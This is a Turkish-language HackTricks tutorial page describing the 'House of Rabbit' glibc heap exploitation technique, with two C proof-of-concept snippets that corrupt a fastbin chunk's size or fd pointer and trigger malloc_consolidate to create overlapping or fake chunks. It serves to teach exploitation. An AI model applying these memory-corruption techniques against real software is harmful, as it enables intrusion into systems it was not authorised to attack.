hacktricks/binary-exploitation/libc-heap/house-of-rabbit.md

96 lines
5 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Tavşan Evi
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
### Gereksinimler
1. **Hızlı bin fd işaretçisini veya boyutunu değiştirme yeteneği**: Bu, bir parçanın hızlı bindeki ileri işaretçisini veya boyutunu değiştirebileceğiniz anlamına gelir.
2. **`malloc_consolidate`'i tetikleme yeteneği**: Bu, ya büyük bir parça tahsis edilerek ya da üst parçanın birleştirilerek yapılabilir, bu da parçaları birleştirmeye zorlar.
### Hedefler
1. **Üst üste gelen parçalar oluşturmak**: Bir parçanın başka bir parçayla örtüşmesine izin vererek daha fazla heap manipülasyonu yapılmasını sağlamak.
2. **Sahte parçalar oluşturmak**: Yalancı bir parçayı yasal bir parça gibi göstererek tahsisat işlemleri sırasında tahsisatçıyı kandırmak.
## Saldırı Adımları
### POC 1: Hızlı bin parça boyutunu değiştirme
**Amaç**: Bir hızlı bin parçasının boyutunu manipüle ederek üst üste gelen bir parça oluşturmak.
* **Adım 1: Parçalar Tahsis Etme**
```cpp
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10); // Allocates a small chunk to change the fastbin state
```
* **Adım 2: Parçaları Serbest Bırakın**
```cpp
free(chunk1); // Frees the chunk at 0x602000
free(chunk2); // Frees the chunk at 0x602050
```
* **Adım 3: Parça Boyutunu Değiştirme**
```cpp
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
```
* **Adım 4: `malloc_consolidate`'yi Tetikleyin**
```cpp
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
```
Büyük bir parça ayırmak, küçük parçaları hızlı kutuya birleştiren `malloc_consolidate` işlevini tetikler. `chunk1`'in manipüle edilen boyutu, `chunk2` ile örtüşmesine neden olur.
Konsolidasyondan sonra, `chunk1`, `chunk2` ile örtüşerek daha fazla sömürüye izin verir.
### POC 2: `fd` işaretçisini değiştirme
**Amaç**: Hızlı kutu `fd` işaretçisini manipüle ederek sahte bir parça oluşturmak.
* **Adım 1: Parçaları Ayırma**
```cpp
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
```
**Açıklama**: Sahte bloğu oluşturmak için daha küçük ve daha büyük olmak üzere iki blok tahsis ediyoruz.
* **Adım 2: Sahte blok oluştur**
```cpp
chunk2[1] = 0x31; // Fake chunk size 0x30
chunk2[7] = 0x21; // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
```
* **Adım 3: `chunk1`'i serbest bırakın**
```cpp
free(chunk1); // Frees the chunk at 0x602000
```
**Açıklama**: `chunk1`'i serbest bırakıyoruz, onu fastbin listesine ekliyoruz.
* **Adım 4: `chunk1`'in `fd`'sini değiştirin**
```cpp
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
```
**Açıklama**: `chunk1`'in ileri işaretçisini (`fd`) `chunk2` içindeki sahte parçaya işaret edecek şekilde değiştiriyoruz.
* **Adım 5: `malloc_consolidate`'i Tetikle**
```cpp
malloc(5000); // Allocate a large chunk to trigger heap consolidation
```
Büyük bir parça yeniden tahsis edildiğinde `malloc_consolidate` tetiklenir, sahte parça işlenir.
Sahte parça, hızlı parça listesinin bir parçası haline gelir, bu da onu daha fazla istismar için geçerli bir parça haline getirir.
### Özet
**House of Rabbit** tekniği, ya hızlı bir parça parçasının boyutunu değiştirerek örtüşen parçalar oluşturmayı ya da sahte parçalar oluşturmak için `fd` işaretçisini manipüle etmeyi içerir. Bu saldırganlara yığın içinde meşru parçalar oluşturma imkanı tanır ve çeşitli istismar biçimlerini mümkün kılar. Bu adımları anlamak ve uygulamak, yığın istismarı becerilerinizi geliştirecektir.